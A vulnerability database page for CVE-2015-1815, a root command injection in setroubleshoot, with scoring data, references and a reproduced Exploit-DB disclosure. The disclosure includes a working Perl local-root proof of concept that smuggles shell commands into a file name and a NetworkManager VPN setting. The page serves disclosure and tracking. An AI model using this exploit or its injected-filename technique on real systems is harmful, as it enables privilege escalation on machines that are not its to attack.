CVE-2015-1815 : Detail

CVE-2015-1815

Command Injection
A03-Injection
40.68%V4
Network
2015-03-30
12h00 +00:00
2016-12-29
17h57 +00:00
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CVE Descriptions

The get_rpm_nvr_by_file_path_temporary function in util.py in setroubleshoot before 3.2.22 allows remote attackers to execute arbitrary commands via shell metacharacters in a file name.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-77 Improper Neutralization of Special Elements used in a Command ('Command Injection')
The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component.

Metrics

Metrics Score Severity CVSS Vector Source
V2 10 AV:N/AC:L/Au:N/C:C/I:C/A:C nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 36564

Publication date : 2015-03-29 22h00 +00:00
Author : Sebastian Krahmer
EDB Verified : No

setroubleshoot tries to find out which rpm a particular file belongs to when it finds SELinux access violation reports. The idea is probably to have convenient reports for the admin which type enforcement rules have to be relaxed. setroubleshoot runs as root (although in its own domain). In util.py we have: 266 def get_rpm_nvr_by_file_path_temporary(name): 267 if name is None or not os.path.exists(name): 268 return None 269 270 nvr = None 271 try: 272 import commands 273 rc, output = commands.getstatusoutput("rpm -qf '%s'" % name) 274 if rc == 0: 275 nvr = output 276 except: 277 syslog.syslog(syslog.LOG_ERR, "failed to retrieve rpm info for %s" % name) 278 return nvr (and other similar occurences) So. Yes, thats correct: The SELinux system that is only there to protect you, passes attacker controlled data to sh -c (https://docs.python.org/2/library/commands.html) inside a daemon running as root. Sacken lassen... I attached a PoC which uses networkmanager's openvpn plugin to execute arbitraty commands by triggering an access violation to a pathname which contains shell commands. The setroubleshootd_t domain has quite a lot of allowed rules and transitions, so this can clearly count as privilege escalation. Furthermore a lot of admins run their system in permissive mode (full root) even when its shipped enforcing by default. Also note that there are potentially remote vectors, if attackers can control part of the filenames being created (web uploads, git, scp, ftp etc). Sebastian PS: I am all for SELinux but theres something on the wrong way. I counted the LOC, and the core SELinux (kernel) has a smaller codebase than whats framed around in python, running as root and mangling attacker controlled input. IOW, the system that wants to protect you has fewer code enforcing the rules than code that potentially blows up your system. And that code is python, so let alone all the python modules and interpreter hat can have bugs on its own. Driving such a lane _can only lead to abyss_. And I am not saying that evil powers are creating an overly complex system to better hide their bugdoors within. PPS: bug-logo will follow :) -- ~ perl self.pl ~ $_='print"\$_=\47$_\47;eval"';eval ~ krahmer () suse de - SuSE Security Team #!/usr/bin/perl # # Fedora21 setroubleshootd local root PoC # # (C) 2015 Sebastian Krahmer # # - requires polkit authorization to add/mod VPN connections # to NetworkManager (default on desktop user) # - after execution of this script, which adds appropriate # NM connection entries, try # # $ nmcli c up vpn-FOOBAR # # a couple of times, until you see: # # logger[4062]: uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:setroubleshootd_t:... # # in the journalctl logs # # PS: I know in advance what the SELinux developers will say... :p # # I say: lulz! # create a pathname that setroubleshootd will eventually # query sh -c { rpm -qf ... with, fucking up ' escaping. So the # embedded pathname is then evaluated as command # # There goes your NSA-grade SELinux security!!! $file = "/tmp/foo.pem';`id|logger`;echo '"; open(O, ">", $file) or die $!; close O; # add connection system("nmcli c add type vpn ifname FOOBAR vpn-type openvpn"); open(O,"|nmcli c edit vpn-FOOBAR") or die $!; print O "set vpn.data ca = /tmp/foo.pem';`id|logger`;echo ', password-flags = 1, connection-type = password, remote = 1.2.3.4, username = FOOBAR\n"; print O "set vpn.secrets password=1\nsave\nquit\n"; close(O); print "Now do 'nmcli c up vpn-FOOBAR' and watch logs.\n";

Products Mentioned

Configuraton 0

Selinux>>Setroubleshoot >> Version To (including) 3.2.21

    Configuraton 0

    Fedoraproject>>Fedora >> Version 22

    References

    http://www.securityfocus.com/bid/73374
    Tags : vdb-entry, x_refsource_BID
    https://www.exploit-db.com/exploits/36564/
    Tags : exploit, x_refsource_EXPLOIT-DB
    http://www.openwall.com/lists/oss-security/2015/03/26/1
    Tags : mailing-list, x_refsource_MLIST
    http://rhn.redhat.com/errata/RHSA-2015-0729.html
    Tags : vendor-advisory, x_refsource_REDHAT
    http://www.osvdb.org/119966
    Tags : vdb-entry, x_refsource_OSVDB